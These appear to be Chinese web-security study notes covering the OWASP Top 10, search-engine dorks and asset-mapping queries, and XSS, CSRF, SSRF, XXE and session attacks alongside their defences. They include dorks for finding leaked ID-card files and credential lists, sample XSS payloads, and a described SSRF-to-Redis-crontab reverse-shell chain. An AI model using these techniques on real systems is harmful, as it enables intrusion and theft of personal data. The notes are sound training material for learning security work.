失效的访问控制:访问控制措施为正确实施,导致攻击者可以绕过授权,执行其他本不应该被允许的操作。例如:访问其他用户的资料/文件。
加密机制失效:敏感数据(密码、银行卡号、个人信息)在存储或传输过程中没有得到足够的保护。导致数据泄露使被攻击者轻易破解。
注入
不安全的设计
安全配置错误
易受攻击和过时的组件
身份认证和授权失效
软件和数据完整性故障
安全日志与监控失效
服务端请求伪造
拿到资产后确定资产主体的官网和域名,然后通过被动手机的方式,确定网络范围内的目标,并通过收集一些必要的人员信息(如:工号、学号等等),然后筛选出重点渗透的目标,再进行针对性的主动信息收集。
收集的信息包括但不限于目标主机的IP、DNS信息、子域名、旁站和C站、CMS信息、敏感目录、邮箱、人员信息(工号、学号、手机号、身份证号等等)可能构成登录账号的信息。
身份证泄露:intext:身份证 学院 -site:edu.cn -site:gov.cn filetype:xls
账号密码泄露:site:gitee.com filetype:txt intext:账号
敏感信息泄露:
intitle:“Index of /admin”
intitle:“Index of /root”
intitle:“Index of /” +password.txt
intitle:phpinfo()或者inurl:phpinfo.php
后台管理页面泄露:
site:www.baidu.com inurl:admin
intitle:后台管理 inurl:admin
site:xx.com intext:管理|后台|登陆|用户名|密码|系统|账号|admin|login|sys|managetem|password|username
登录页面搜索:site:www.baidu.com intext: 验证码
查找SQL注入:inurl:.php?id=23 公司
查找上传点:site:xx.com inurl:file| uploadfile
intext
intitle
搜索标题中的内容。
intitle: 关键词
inurl
查找含有关键词的url(allinrul类似)。
inurl:关键词
site
返回含有关键词的所有域名。
site:edu.cn
-site:gov.cn
allintitle
同 intitle 只是allintitle可以搜索多个关键词,intitle 只能搜索一个。
allintitle: 关键词 关键词
filetype
查找文件类型。
filetype: 文件扩展名 (doc xls等)
info
查询站点信息。
info:baidu.com
- (非)
+
"" (引号)
OR "|" (或)
and "," "空格"(且)
通配符
直达链接:https://fofa.info
title
在标题中搜索xxx
title="管理"
header
在HTTP头搜索xxx
header="utf-8"
body
在正文中搜索xxx
body="管理"
domain
搜索带有根域名的网站
domain="qq.com"
host
搜索带有xxx的网站
host="login"
port
搜索指定端口
port="8080"
port="8080,3306" 同时开放8080和3306的网站
ip
从IP中搜索带有x.x.x.x的网站,也可以查网段
ip="12.12.12.12"
ip="12.12.12.0/24"
icp
查找备案号为“xxx”的网站
icp="京ICP证030173号"
icon_hash
搜索使用此图标的资产
icon_hash="-247388890"
country
搜索指定国家(编码)的资产
country="CN"
region
搜索指定行政区的资产
region="Xinjiang"
city
搜索指定城市的资产
city="Ürümqi"
cert
搜索证书(https或者imaps等)中带有baidu的资产
cert="baidu"
&&
||
==
!=
直达链接:https://hunter.qianxin.com
web
web.body="网络空间测绘"
web.title="北京"
web.similar_icon=="17262739310191283300"
web.icon="22eeab765346f14faf564a4709f98548"
web.similar_id="3322dfb483ea6fd250b29de488969b35"
web.similar="baidu.com:443"
app
app="海康威视 Hikvision Firmware 5.0+"&& ip.ports="8000"
app.name="小米 Router"
app.vendor="PHP"
app.version="1.8.1"
protocol
protocol="http"
protocol.transport="udp"
protocol.banner="nginx"
domain=""
icp
icp.web_name="奇安信"
icp.type="企业"
icp.name="奇安信"
icp.number="京ICP备16020626号-8"
header
header="elastic"
header.status_code="402"
header.server=="Microsoft-IIS/10"
header.content_length="691"
ip
ip=”1.1.1.1″ 搜索IP为 ”1.1.1.1”的资产
ip=”220.181.111.1/24″ 搜索起始IP为”220.181.111.1“的C段资产
ip.port_count>”2″ 搜索开放端口大于2的IP(支持等于、大于、小于)
ip.ports=”80″ && ip.ports=”443″ 查询开放了80和443端口号的资产
ip.port=”6379″ 搜索开放端口为”6379“的资产
ip.isp=”电信” 搜索运营商为”中国电信”的资产
ip.country=”CN” 或 ip.country=”中国” 搜索IP对应主机所在国为”中国“的资产
ip.province=”江苏” 搜索IP对应主机在江苏省的资产
ip.city=”北京” 搜索IP对应主机所在城市为”北京“市的资产
ip.os=”Windows” 搜索操作系统标记为”Windows“的资产
360网络空间测绘:https://quake.360.net
原理:DNS协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。如果管理员在配置DNS服务器时没有限制允许获取记录的来源,将会导致DNS域传送漏洞。暴露目标在DNS的记录。
利用:可以通过dig命令发送axfr类型的DNS请求,获取目标域名在目标DNS服务器上的子域名记录
XSS(Cross-Site Scripting)攻击者可以利用网站对用户输入过滤的不足,将恶意的脚本代码注入到网页中,当其他用户浏览该网页时,嵌入其中的恶意代码就会被执行。
区分 层叠样式表(Casacding Style Sheet ,CSS)区别
XSS属于客户端攻击,受害者就是最终用户。
出现原因:程序对用户输入和输出的控制不够严格,导致攻击者精心构造的脚本输入后再输出到前端时被浏览器当做有效的代码解析并执行,从而产生危害。
XSS 本质上 js能干啥 它就能干啥。
攻击对象:被攻击者的浏览器 因为浏览器中有javascript解释器,可以解析javascript,并且浏览器并不会判断代码是否恶意。
概念:恶意脚本作为请求的一部分被发送到服务器,然后服务器立刻在响应中返回这个脚本,并在用户的浏览器中执行。反射回来的攻击。\ \ 交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。 也就意味着黑客需要诱导用户"点击"一个恶意链接,才能攻击成功
特点:非持久化,需要诱骗用户点击一个特制的链接。
例子:
1.一个搜索页面,搜索关键词会显示在结果页上(如:搜索的关键词是(用户输入))
2.攻击者构造一个恶意链接:http://baidu.com/search?q=<script>alert(doucment.cookie)</script>
3.用户点击这回链接后,服务器返回的页面中包含<script>alert("XSS")</script>,浏览器就会执行这个弹窗脚本。
概念:恶意脚本 被永久的存储在服务器上 (数据库、帖子、评论区)。当任意用户访问 包含恶意内容的页面时,脚本都会从服务器加载并执行。
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性。
特点:持久化,危害广,不需要诱导用户点击。
例子:
1.一个博客网站评论系统。
2.攻击者在评论框中提交<script>alert("xss")</script>。
3.这条评论被保存在网站数据库中。
4.之后任何用户访问这篇博客,加载这条评论时,他们都会弹窗。
概念:并非按照数据是否保存在服务器划分,从效果上看DOM型XSS也是反射性的。但它不与后台服务器产生数据交互,而是通过修改前端的DOM节点形成XSS漏洞。
DOM (Document Object Model) 文档对象模型,是一套操作 html 和 xml 的标准API (应用程序编程接口),DOM 将文档内容呈现在 Javascript 面前,赋予了 JavaScript操作文档的能力
如何判断是哪种类型的XSS
发送一次带有XSS Payload 的请求 Paload(载荷)
如果说当前返回的数据包发现XSS代码,那就是反射型。
如果说后续这个页面又都这个XSS代码,就是存储型。
如果返回包里没有XSS代码,但是弹窗了,就是DOM型。
GET 型URL中提交的参数值,在页面中显示的。
POST 型表单中提交的参数值。在页面中显示的。
JOSN 数据中提交的键值对,在页面中显示的。
cookie劫持 document.cookie Http-Only 保证同一个Cookie不被滥用。
后台地址探测
钓鱼
获取浏览器信息 User-Agent
获取用户电脑的真实IP
传播蠕虫病毒
挂马
弹窗广告<iframe>标签来实现
刷流量 window.local.href="https://www.baidu.com"
| window.location.href | 该代码将返回当前页面的完整 URL(包括协议、域名、端口号、路径和查询参数等) |
| document.cookie | 获取当前用户 cookie |
| <script>alert('XSS');</script> | 最简单的 JavaScript 弹窗。 |
| <img src="#" onerror="alert('XSS');"> | 使用 img 标签中的 onerror 事件触发 JS 弹窗。 |
| <svg onload=alert('XSS')> | SVG 标签也可以被滥用来触发 XSS。 |
| "><script>alert('XSS')</script> | 类似 SQL 注入,输入一个字符然后在此字符串内完成攻击。 |
| 'onmouseover='alert("XSS") | 利用 HTML 属性唤起 onMouseOver 事件触发 JS 弹窗。 |
| javascript:alert('XSS') | 在 href 中植入 JS 代码,生成一个具有 XSS 潜质的超链接 |
工具:APPScan、AWVS、BurpSuite、Yakit等等 半自动化工具 (BurpSuite、Firefox(hackbar)、XSSER XSSF等等)
手工:最重要的是考虑那里有输入,输入的数据在什么地方输出。
长度限制绕过
前端限制:对输入的字符串长度进行限制可以直接F12开发者工具中通过修改前端标签属性即可实现绕过。修改字符长度。
后端限制:
20字节 payload " onclick=alert(1)//
注释绕过长度限制 如果你可以控制链各个文本框。第二个文本框允许写入更多字节,这时候你可以使用HTML的注释符<!-- -->"把这两个<input>标签打通
大小混合/双写
拼凑绕过
利用字符编码
使用HTML进行编码
编码组合GBK/GB2312 %c1\ 组合在一起 会变成Unicode字符
htmlspecialchars()函数
定义:是一个将特殊字符转换为html实体的函数。
核心的作用。确保用户输入的数据在被输出到HTML页面时,是被转义的纯文本而不是被浏览器解释为HTML代码。
htmlspecialchars()
&(和) 成 &
" "
' '
<<
>>
作用:浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie
解决Cookie劫持的问题的
可以在F12的Application 的 Cookie 的右侧窗口看到 HttpOnly 如果它下面打√,就说明设置了HttpOnly
效果:
Cookie的使用过程
浏览器向服务器发起请求,这个最初阶段没有Cookie
服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie,HttpOnly就是这个·时候写到Cookie里的
在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie
效果:
检查用户输入的数据中有没有包含特殊字符,比如:“<”、 “>”、“'”、“"” 等等,如果发现特殊字符,则把这些字符进行过滤或者编码。
匹配XSS特征,比如:“<script>”、“javascript”、“document.cookie”等等,这种比较敏感字符。
输入检查的逻辑必须放在服务器上的,只在客户端使用JavaScript进行输入检查很容易被绕过。
目前普遍做法,同时在客户端JavaScript中和服务器代码中实现相同的输入检查。客户端的输入检查可以阻挡大部分误操作的正常用户,从而节约服务器资源。
可以使用HtmlEncode编码,把字符转换成HTMLEntities,对应标准:ISO-8859-1
htmlentities()
htmlspecialchar()
上面两个函数在PHP中可以满足字符转换需要
"&" --> @amp
"<" --> @lt
"> " --> @gt
' --> @#x27
" --> @quot
/ --> @#x2f
可以用JavaScriptEncode,跟HTMLEncode编码方式不同,它需要使用对特殊字符进行转义。对抗XSS时,要求输出的变量必须在引号内部,避免造成安全问题。\ 可以使用escapeJavaScript()函数 var x = '""' + escapeJavaScript($eval) + '""';\ // 最简单安全的方法
推荐使用:
注意编码后的长度可能发生了改变,可能会影响某些功能的使用。所以在写代码的时候要注意细节避免Bug。
M(Model):模型层 承载数据,并对用户提交的请求进行计算。
V(View):视图层 为用户提供使用界面,与用户直接进行交互。
C(Controller):控制器 将用户请求转发给相应的Model进行处理,并且根据Model的计算结果向用户提供相应的响应。
MVC 架构程序的工作流程:
用户先通过View页面向服务器提出请求,提出的请求可以是 Form、URL、AJAX请求等等
服务端 Controller 控制器接收请求后对请求进行解析,找到相应的Model 对用户的请求进行处理
Model处理后,将处理结果交给 Controller
Controller 在街道处理结果后,根据处理结果 找到要对应请求点 向客户端发回 响应 View页面。页面经过渲染 填充数据后,再发送给客户端。
在HTML标签/在属性中输出 可以使用HTMLEncode防御
源码
<div>$var</div>
<div id="abc" name="$var"></div>
payload
<script>alert("xss");</script>
"><script>alert("xss");</script><"
混淆后的语义
<div><script>alert("xss");</script></div>
<div id = "abc" name=""><script>alert("xss");</script><""></div>
在事件中输出 可以使用JavaScriptEncode防御
源码
payload
混淆后的语义
在CSS中输出
在地址中输出
伪协议
DOM XSS防御
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
例(不同域):
https://smmna.cn
https://cloud.komll.com
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象 那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
Access-Control-Allow-Origin,设置为“ ***** ”,既允许所有人访问。**
DOM(Document Object Model)文档对象模型,是一个编程接口,HTML XML 表示为一种树状结构,能让程序动态发访问和更新文档内容、结构的样式。
用途:
动态修改内容 - 改变本文、改变内容
修改元素属性 - 改变class、id、style
添加/删除元素 - 动态创建和移除节点
事件处理 - 响应用户交互
攻击者通过诱导用户访问其构造的恶意网站,并诱导用户在其中进行某些操作,以用户的身份在第三方网站(存在CSRF的站点)完成了攻击期望的恶意操作。\ 在利用的过程中需要受害者的浏览器保存第三方网站的身份信息。比如:Cookie、SESSION
但CSRF攻击成功的本质,重要操作的所有参数都是可以被攻击者猜测到的(不可避免,因为攻击者可以以正常用户的方式访问网站,从而拿到某个操作的报文)。
原理:开发的时候,没有对相关页面进行token和Referer判断,造成攻击者可构造自己的URL地址欺骗目标用户点击,浏览器一般不禁止发送第三方 Third-party Cookie,而不会对Session Cookie 做限制,所以CSRF利用的一般是Session 或 Cookie。
分类:主要根据参数提交的方法进行分类,因为最开始大部分的CSRF发起的时候,用的<image>、<iframe>、<script>等等 带有src属性的标签,这类标签只能发起一次GET请求,而不能发起POST请求,大家都以为将重要操作改为POST就能防止CSRF攻击
只需要一个HTTP请求,就能构造一次CSRF攻击
利用:
银行网站,只需要之后转账的请求就能完成操作
恶意网站,只有一个无法显示的图片 <img src=x onerror=>
未区分GET和POST的 当一些重要操作并未严格要求区分GET或POST时,攻击者可以使用GET请求来请求表单的提交地址时就可以伪造POST请求,比如<php>,如果使用$_REQUEST,而不是$_POST获取变量,就会导致可以通过GET请求来提交表单参数。
paload 可以构造如下GET请求,如果服务端未对请求方法进行限制,那么这个请求就会通过
http://localhost/register?username=test&password=passwd&submit=submit
区分了GET和POST的\ 可以通过中间页面构造POST请求。比如在一个页面中构造好一个Form,然后使用JavaScript自动提交表单。
攻击者在www.b.com/test.html中写了上面的代码,那攻击者只需要构造一个上面GET型请求得Payload,将其只想自己搭的b.com即可测试网站a.com发送POST请求
是一段由网站服务器发送并存储在用户浏览器中的数据,主要目的是记住你爹信息和状态。
会话管理:保持你的登录状态,让你的浏览器在浏览不同页面时不会退出。
个性化:记住你的语言偏好,主题设置。
追踪:记录你的浏览习惯,用来显示个性化广告。
Session的核心目的就是在服务器端临时存储与单个用户相关的信息,以便于在整个会话期间记住用户的状态。
与Cookie紧密相关,
Cookie像会员卡号:它是一个小卡片(数据),存放在你这儿(浏览器)。你每次去商店的时候(访问网站)出示卡号,商店(服务器)就能根据你的的卡号去档案柜(服务器端)找到你的完整档案。
Session像你的完整会员档案:这个档案存放在商店的档案柜里(服务端),档案上贴着一个唯一的编号)(Session ID)。这个编号就是写在你会员卡(Cookie)上那个。
由于CSRF主要利用的就是Cookie\ 临时Cookie
Session Cookie ,服务器没有指定失效时间,它在浏览器进程的整个声明周期都有效果,保存在浏览器进程中的内存空间,只有关闭浏览器的时候才会失效
它是服务器在Set-Cookie中指定了生存时间,只有到了时间之后Cookie才会失效,平时保存在本地。
前提条件:
用户登录存在漏洞的网站,并且本地保存了身份信息;比如:cookie
在不登出或该网站Cookie没有失效的情况下访问了恶意网站。
过程:
用户登录的存在CSRF漏洞的网站
网站A验证了用户的登录信息,并下发了一个SessionID,客户端将其存储在浏览器中。
用户在新的Tab页访问了恶意网站B,并触发了相关操作(网站B中有链接直接指向了网站A)
浏览器在用户不知情的情况下,通过网站B中的连接访问了网站A(此时携带了用户的网站A的SessionID)
网站A校验了身份信息后,发现是合法的,就震醒了浏览器发送的请求对应的操作。
检测工具
burp collaborator
CSRFTester
用它测试时,首先需要抓取浏览器中访问过的所有链接以及表单信息,然后通过工具中修改响应表单信息重新提交
如果修改后测试请求发送成功被网站服务器接受,说明存在CSRF漏洞
扫描器
修改密码的地方
添加用户的地方
数据库备份的地方
数据交易、支付等
对话框钓鱼页面
删除Referer重放
抓取一个正常的数据包,如果没有token或者referer字段,那就有可能存在CSRF漏洞
如果有referer字段,就去掉referer字段后重新提交,如果仍然返回想要的结果,那么基本可以确定存在CSRF漏洞
使用Burp生成POC
在类似修改内容的地方修改后提交,使用Burp拦截数据包
拦截后右键Engagement Tools --> Generatr CSRF POC,之后丢掉原数据包,使修改失效
将生成的数据包复制到一个HTML文件里,在已经登录的网站的浏览器上打开该文件,点击submit request,之后查看是否修改成功,如果修改成功,就存在漏洞。
CSRF一般与XSS结合使用
POC(Proof of Concept)概念验证:证明漏洞存在,但不一定进行完整的利用
特点:
验证漏洞真实性
通常比较温和
用于报告和确认漏洞
不造成实际损害
示例:python csrf_high_poc.py
EXP(Exploit)漏洞利用:实际利用漏洞获取权限/数据/控制系统
特点:
完整攻击代码
可能造成实际影响
用户渗透测试的利用阶段
需要谨慎使用,避免在渗透测试过程中,给客户/其他人造成不必要的损失。
示例:python csrf_high_exp.py
合法授权:只在授权范围内进行测试
影响评估:POC优先于EXP
数据保护:不窃取或破坏真实数据
报告修复:发现漏洞后及时报告并协助修复
防御Csrf的token是根据“不可预测性原则”设计的方案,所以Token一定要足够随机,需要使用安全的随机数生成器生成Token。 因为这个Token不是用来防止重复提交的,所以为了使用方便,可以允许在一个用户的生命周期内,在Token消耗掉前都使用同一个Token,但如果用户完成了表单的提交,这个Token就应该失效掉,并重新生成一个新的token。 最后,使用token时应注意token的保密性,token如果出现在某个页面的URL中,则可能会通过referer的方式泄露。这个就涉及到了凭证信息传输方式测试(这一测试要求token session 等会话信息必须使用POST方法请求)
最后一句话概括token的要点: 使用token时应尽量把Token放在表单中,把敏感操作有Get改为Post,以form表单(或AJAX)的形式提交,使用安全的随机数生成器生成token
3.1.1 概念
大部分情况下都是GET型的SSRF漏洞,仅仅能探测存活、扫描端口、内网域名探测、危害十分有限。
https请求ssl证书无法正常解析
SSRF攻击结果由函数本身觉得,函数的功能越强大,攻击的成功率就越大。比如:curl_init、file_get_contents、fsockopen(代码审计时可以用到)。
分享:通过url地址分享的页面内容
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API实现与其他调用URL的功能
从URL关键词查找
share
wap
url
link
src
source
target
display
sourceURL
imageURL
domain
u
3g
可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)
攻击运行在内网或本地的应用程序(比如:溢出)
对内网的web进行指纹识别,通过访问默认文件实现。
攻击内外网的web应用,主要是使用get参数就可以实现攻击(Struts2,sqli等等)
利用file协议读取本地文件
如果是可以发送post请求的全回显型SSRF,甚至可以代建代理访问内网。
更改IP地址的写法(进制转换)
192.168.0.1
八进制:0300.0250.0.1
十六进制:0xC0.0xA8.0.1
利用解析URL出现的问题(把域名拼接上去,加@符)
对内网扫描,获取banner
攻击运行在内网的应用,主要用GET参数可以实现的攻击(Struts2、sqli等等)
利用协议读取本地文件
云计算环境AWS、Google Cloud、Tencent Cloud、Alibaba Cloud 环境可以调用内网操作ECS的API
4.4.2.1 gopher协议
如何通过Weblogic漏洞,从外网拿到内网服务器的权限?
这么想象这么一个场景。我们发现在外网能访问的weblogic服务器有一个SSRF漏洞。这个漏洞就像是我们在这台服务器上装了一个假的邮局,我们可以让这个邮局帮我们往任何指定的地址寄信(通过发送网络请求)。而我们的目标是通过这个邮局。把一把后门钥匙送到内网中那台不对外服务的Redis数据库服务器上。并让他自己安装上。
发现漏洞:我们发现一个weblogic有一个功能,它可以让它代表我们去访问一个我们提供的网站,这个就是SSRF漏洞。
选择特殊信封(Gopher协议):普通的HTTP信封可能不太好用。所以我们选择了一种更古老,更强大的信封格式Gopher。这个协议几乎可以直接发送任何我们想发送的原始数据。非常适合用来和Redis这种老派服务器对话。
突破限制:为了防止攻击,网站可能会过滤一些特殊字符。所以我们在组装信封内容的时候,会使用url编码。特别是我们需要用0%d0%a 来代表回车换行符。\r\n 因为这是在协议中表示一条命令结束的关键符号。
比喻:我们找到了一个可以帮我们寄信的邮局(SSRF),并且我们发明了一个特殊的暗语信封(Gopher协议)。还把信里的关键指令用密码写(URL编码),然后让邮局看不出真实的意图。
因为我们的目标是让Redis数据库帮我们执行系统命令,我们没有办法直接登陆Redis。但是可以通过发送特定的指令,让他按照我们的要求去做。
Redis可以把数据保存在内容里。也可以保存在文件里。我们就利用这个“写文件”的功能。在Linux系统中,有一个叫crontab的闹钟程序。它可以执行定时任务。我们只要把我们的命令写进crontab文件。到了时间系统就会自动执行。
FLUSHALL:清空Redis数据,确保干净。
SET payload ...:把我们要执行的命令(比如反弹Shell的命令)存到一个叫payload的键里。
CONFIG SET dir /var/spool/cron/:告诉Redis,接下来要把数据文件保存在crontab的目录下。
CONFIG SET dbfilename root:把数据文件名设置为root(这样就会覆盖root用户的crontab文件)。
SAVE:强制保存内存数据到硬盘。于是,Redis就会把它的数据(包含我们的恶意命令)写入到 /var/spool/cron/root 这个文件中。
简单比喻:我们写了一串指令,让一个听话的秘书(Redis)把一张写着“每天凌晨3点打开后门”的纸条(反弹Shell命令),塞进了老板(root用户)的日程本(crontab文件)里。
现在,我们把第二步的Redis命令,用第一步提到的规则包装起来:
格式化命令:将每条Redis命令用 \r\n 分隔,这是Redis协议的要求。
进行URL编码:将所有的 \r\n 替换成 %0d%0a,并对其他可能被过滤的特殊字符进行编码。
组装Gopher负载:将编码后的命令流作为Gopher协议的数据体。
触发SSRF:将最终组装好的Gopher URL,通过Weblogic的SSRF漏洞点发送出去。URL看起来会像这样:\
gopher://内网RedisIP:6379/_编码后的恶意数据
当我们的攻击负载成功发送后:
Weblogic的SSRF漏洞会代表我们,向内网的Redis服务器发送我们精心构造的Gopher请求。
Redis服务器会把这些数据当作合法的命令来执行,从而将我们的恶意命令写入到crontab文件。
等待最多一分钟(crontab的默认检测周期),系统的cron守护进程就会读取这个被篡改的文件并执行里面的命令。
我们设置在命令中的反弹Shell就会被执行,它会主动连接回我们控制的服务器,这样,我们就得到了一个内网服务器的远程命令行权限!
外网攻击者 -> 利用Weblogic的SSRF漏洞 -> 构造特殊的Gopher请求 -> 攻击内网的Redis服务 -> 通过Redis写入恶意Crontab定时任务 -> 任务执行,反弹Shell -> 成功获得内网服务器权限
webligic SSRF 漏洞通过 SSRF 的 gopher 协议操作内网的 redis,利用 redis 将反弹 shell 写入 crontab 定时任务,url 编码,将\r 字符串替换成%0d%0a
SSRF(服务器请求伪造)漏洞分析——pikachu-ssrf、vulhub-weblogic-ssrf靶场复现_pikachu靶场复现-CSDN博客
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析输入的XML数据时,解析了攻击者伪造的外部实体而产生。 当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。 当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。
定义:XML(Extensible Markup Language 可扩展标记语言)用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML被设计用来传输和存储数据,而不是显示数据,XML标签没有被预定义,需要用户自行定义标签。(注意:XML不会做任何事情,他只是包装在XML标签中的纯粹的信息) XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML文档的完整结构
XML声明(信封):用来说明信的基本信息
DTD(写信规则):DTD(Document Type Definition,文档类型定义)是一套语法规则,它定义了:
XML文档中可以有哪些标签
标签之间如何嵌套
每个标签里能放什么内容
标签出现的顺序和次数
文档元素(信的内容):实际要传达的信息
这是XML声明,就像信封上的“使用说明”
version="1.0":我用的是XML 1.0版本
encoding="ISO-8859-15":我用的字符编码,决定了支持哪些语言字符
第2行开始是DTD文档类型定义:
<!DOCTYPE root SYSTEM "http://somewhere.for.dtd/file" [ ... ]>
root:这是根元素的名字,就像家族树的始祖,你可以任意命名
SYSTEM "http://...":表示我要引用一个外部的规则文件
用[ ]包裹的部分是内部补充规则
DTD内部的规则声明:
<!ELEMENT root (other)>
声明root元素必须包含一个叫other的子元素
就像说“每个家庭必须有一个孩子”
<!ELEMENT other (#PCDATA)>
声明other元素里面只能放文本内容
#PCDATA意思是“可解析的字符数据”
<!ENTITY generalentity "content">
这创建了一个一般实体,就像定义了一个变量
以后在文档中写&generalentity;,就会自动替换成"content"
<!ENTITY % extendentity SYSTEM "http://somewhere.for.EXTdtd/file">
这是参数实体,专门在DTD内部使用
%表示它是参数实体,SYSTEM后面是外部文件地址
%extendentity;
| 概念 | 生活比喻 | 作用 |
|---|---|---|
| DTD | 建筑图纸 | 规定整个文档的结构规则 |
| <!ELEMENT> | 房间布局说明 | 规定每个标签能包含什么、顺序如何 |
| <!ENTITY> | 预制构件 | 定义可重用的内容块,避免重复 |
任意元素: <!ELEMENT anyelement ANY>
空元素:<!ELEMENT elementName EMPTY>
文本元素: <!ELEMENT elementName (#PCDATA)>
混合元素:<!ELEMENT elementName (elemrnt1,elemrnt2)>
DTD(文档类型定义):定义XML文档的合法构建模块。DTTD可以在XML文档内声明,也可以外部引用。
内部声明:<!DOCTYPE 根元素 [元素声明]>
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "URL">
<!DOCTYPE 根元素 PUBLIC "public_ID" "URL">
libxml2 :
file:// - 读取本地文件
http:// - 发起HTTP请求
ftp:// - FTP文件传输
php:
ftp:// - FTP传输
php:// - PHP流包装器
compress.zlib:// - 压缩流
compress.bzip2:// - bzip2压缩流
data:// - 数据流
glob:// - 文件模式匹配
phar:// - PHP归档
Java:
http:// - HTTP请求
https:// - HTTPS请求
ftp:// - FTP传输
file:// - 本地文件
jar:// - JAR包内文件
netdoc:// - 网络文档
mailto:// - 邮件协议
gopher:// - Gopher协议
.Net
file:// - 本地文件
http:// - HTTP请求
https:// - HTTPS请求
ftp:// - FTP传输
XXE漏洞 就是攻击者通过构造恶意的XML数据,,使应用程序在解析XML的时候加载并执行了攻击者控制的外部实体,从而造成安全风险。
核心问题:当应用程序在解析XML输入时,如果配置不当,允许了外部实体的加载,攻击者就可以利用这个特性进行恶意操作。
产生条件:
PHP版本过低。
开发人员主动开启了外部实体加载的功能。
XML解析器配置不安全。
5
代码审计中:
代码中是否使用LoadXML()
查看XML解析器的配置参数
检查是否禁用了外部实体加载
渗透测试中:
主动测试:
在POST请求头中加入Content-Type:application/xml
提交包含测试payload的XML数据
观察响应
检查HTTP请求:
抓包分析POST请求体
查看Accept头是不是包含XML格式
观察响应体中是否包含XML数据
寻找特征:
查看URL中是否包含.ashx后缀(ASP.NET)
尝试修改数据格式,比如吧json格式改为xml格式传输
https://github.com/enjoiz/XXEinjector
认证是为了认出用户是谁,认证实际上就是一个验证凭证的过程
如果只有一个凭证用于认证,则称为"单因素认证"
如果有两个或多个凭证用于认证,就是"双因素"或"多因素认证"
假设系统就是一间房子,用户掏出钥匙(账号密码等凭证)开锁进入房子的过程就是认证
如果进入完成这个认证的人是这间房子的主人的话,那他就可以使用这个房子的所有功能,可以去卧室睡觉、可以去厨房吃饭等等
但如果你是客人拿着主人的钥匙进去的,那你可能只能说使用主人允许的功能,比如去客厅坐一会之类的
这个时候我们会发现你能够干什么取决于你的角色,而这个角色是提前授予的,也就是授权给你可以去做什么
如果有人捡到了钥匙,或者那个客人复制了一个一样的钥匙进去了房间,那这个认证的过程就出现了问题,它可以直接获得和钥匙主人一样的权限,为所欲为
普通应用要求长度为6及以上
重要应用要求长度为8及以上,并考虑双因素认证
密码区分大小写
密码为大写、小写、数字、特殊符号中两种以上组合
不要有连续的字符,或位于键盘上连续的字符,如123,qwe
避免出现重复字符,如111
密码必须使用不可逆的加密算法,或单向散列函数算法,加密后存储在数据库中
为避免密码哈希值泄露后,直接通过彩虹表查询密码明文,可以在计算密码明文的哈希值时,增加一个salt
将salt保存在服务器端的配置文件中,并妥善保管
密码
手机动态口令
数字证书
验证码
当用户登录后,在服务端创建一个新的会话(Session),会话中保存用户的状态和相关信息
服务器维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前页面即可
为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器
最常见的做法就是将SessionID加密后保存在Cookie中,因为Cookie会随着HTTP请求头发送,且受到浏览器同源策略的保护
Session劫持就是一种通过窃取用户的SessionID,使用该SessionID登录目标账户进行攻击的方法
如果SessionID保存在Cookie中,则称为Cookie劫持
SessionID还可以保存在URL中作为请求的一个参数,但是安全性很低(很多手机浏览器不支持Cookie,就只能将SessionID作为URL参数)
攻击者先获取到一个未经认证的SessionID,然后将这个SessionID交给受害者去认证
受害者完成认证后,服务器未更新此SessionID值(注意不是未改变session)
攻击者等待受害者认证完成之后,使用之前的SessionID登录到受害者的账户
在上面的利用中可以看到攻击的重点在于使受害者完成攻击者给他的SessionID的认证2
如果SessionID保存在Cookie中,是比较难做到这一点的
如果SessionID保存在URL中,攻击者只需要诱骗用户打开这个URL即可
系统出于用户体验考虑,只要用户还"活着"就不让Session失效
攻击者通过不停的发起访问请求,让Session一直活下去
如果网站访问量大,服务器端不维护session,而将Session放在Cookie中加密保存
用户访问网站时自动发送Cookie,服务器只需要加密Cookie就能得到当前用户的session,再通过Cookie中的Expire标签来控制Session的失效时间
Cookie的 Expire 时间是完全可以由客户端控制的,篡改这个时间,并使其永久有效,就能得到一个永久有效的Session
攻击者甚至可以为Session Cookie 增加一个 Expire 时间,使得原本浏览器关闭就会失效的Cookie持久的保存在本地,变成一个第三方Cookie
设置服务器一定时间后强制销毁Session
可以选择当客户端发生变化时,要求用户重新登录
Single Sign On,它希望用户只需要一次登录,就可以访问所有的系统
但它也把所有的风险集中在了单点上,这样做有利有弊
SSO把风险集中在了一起,避免了多个系统由于产品需求、应用环境、开发工程师的水平等差异,造成登录功能安全标准不统一形成的弱点
它可以从重设置认证难度,对于一些小业务,也可以不用单独维护一份用户密码,而是专注于业务本身
降低这种风险的方法是在一些敏感的系统里,在单独实现一些额外的认证机制
如网上支付平台付款前要求用户再输入一次密码,或手机短信验证用户身份等
Identity and Access Management 的缩写,即"身份识别与访问管理"
IAM是让合适的自然人在恰当的时间通过统一的方式访问授权的信息资产,提供集中式的数字身份管理、认证、授权、审计的模式和平台
